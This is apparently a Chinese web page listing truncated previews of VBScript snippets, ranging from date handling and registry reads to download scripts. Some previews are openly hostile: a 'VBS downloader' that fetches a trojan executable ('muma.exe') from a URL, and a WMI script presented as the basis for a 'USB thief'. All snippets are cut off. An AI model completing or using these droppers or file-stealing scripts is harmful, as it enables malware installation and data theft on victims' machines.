登录后绑定QQ、微信即可实现信息互通
一、VBS下载者：复制代码 代码如下:Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http:https://www.jbzj.com/muma.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode =..
参考代码一：复制代码 代码如下:Function DeleteLog( ) Dim objFSO, objFolder, strPath, targetFSO, subFSO, DirPathDirPath = createobject("Scripting.FileSystemObject").GetFile(Wscript.ScriptFullName).ParentFolder.Path&"\Log\" Set objFS..
复制代码 代码如下:On Error Resume Next Dim WshShell, QQPath, QQselectset wshshell=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject") key="HKLM\SOFTWARE\Tencent\PlatForm_TYPE_LIST\1\"QQPath=wshshell.reg..
获取当前日期方法一：复制代码 代码如下:Currentdate1=date()msgbox Currentdate1获取当前日期方法二：复制代码 代码如下:Currentdate2=year(Now)&"-"&Month(Now)&"-"&day(Now)msgbox Currentdate2获取当前时间：复制代码 代码如下:CurrentTime=Hou..
第一种 通过wshshell对象的regread复制代码 代码如下:RegValue = CreateObject("Wscript.Shell").RegRead("\XXXX_XXXXXXXX_XXX\XXX\XXXX")Msgbox(RegValue)更多的操作可以参考这篇文章 https:https://www.jb51.net/article/18125.htm第二种方法： ..
一、加密复制代码 代码如下:Dim ObjectFSOIf (lcase(right(wscript.fullname,11))="wscript.exe") ThenWScript.Quit(0)End IfIf wscript.arguments.count<2 ThenWscript.Echo "VBS Code Encoder v1.0 Powered by ENUN. http:https://www.enun.net/"..
来自微软官方，写USB小偷脚本是最好不过的了复制代码 代码如下: strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colMonitoredEvents = objWMIServic..
1、保存以下代码到：c:\windows\system32\vdm.vbs复制代码 代码如下:Dim ArgsSet Args = WScript.ArgumentsTranArgs = " "For i = 0 To Args.Count - 1TranArgs = TranArgs & """" & Args(i) & """" & " " NextIf Args(0) <> "-hFlag" Then If Args..
复制代码 代码如下:On Error Resume NextstrComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set colItems = objWMIService.ExecQuery( _ "associators of {win32_logicaldisk.deviceid='G:'} WHERE R..
复制代码 代码如下:on error resume nexturl = " http:https://www.bathome.net/logging.php?action=login"username = "***"password = "***"set ie = CreateObject("InternetExplorer.Application")ie.visible = trueie.Navigate url,4 ' " http:h..
复制代码 代码如下:Function GetIPAddress()Dim Flag, SourceSet GetIPObj = WScript.GetObject("http:https://ipseeker.cnhttps://")Flag = 0For i=1 To 10 If GetIPObj.readyState = "complete" ThenFlag=1 Exit For End If WScript.Sleep 500Nex..
之前我就介绍过VBScript语言的强大。今天再给出一个支持断点下载的VBS代码。 并附上VBS代码的解析，不懂的朋友可以配合微软的SCRIPT56.CHM文档自学。很简单， VBS的好处就是代码易于理解。基本上每行代码执行功能都用英文表示出来了。 这个代码也是..
复制代码 代码如下:Dim Wsh,objWMIService,colMonitoredEvents Set Wsh = WScript.CreateObject("WScript.Shell") Set objWMIService = GetObject("winmgmts:\. ootwmi") Set colMonitoredEvents = objWMIService.ExecNotificationQuery("Select * ..
提出你的第一个问题
回答一个你擅长的问题
对内容进行点赞或者收藏
阅读声望与权限的规范
完善个人资料
